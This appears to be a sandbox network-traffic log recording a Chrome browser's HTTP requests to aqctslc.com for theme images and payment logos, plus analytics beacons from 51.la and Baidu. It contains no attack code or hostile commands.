Source: global traffic	HTTP traffic detected: GET /themes/static/image/feedback.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /themes/static/image/subscribe.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shen-zi-shan.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape3.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/bing-wan-ying.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/ji-ji-bo.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/skrill.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/visa.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/master-card.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/qian-xiang-shan.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/cta.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/paypal.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/subscribe.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/discover.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape1.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape2.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/visa.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/skrill.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape3.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/master-card.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /linksubmit/push.js HTTP/1.1Host: zz.bdstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/paypal.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://aqctslc.com/ HTTP/1.1Host: sp0.baidu.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/discover.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape1.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /themes/static/image/shape2.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
Source: global traffic	HTTP traffic detected: GET /9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://aqctslc.com/ HTTP/1.1Host: sp0.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
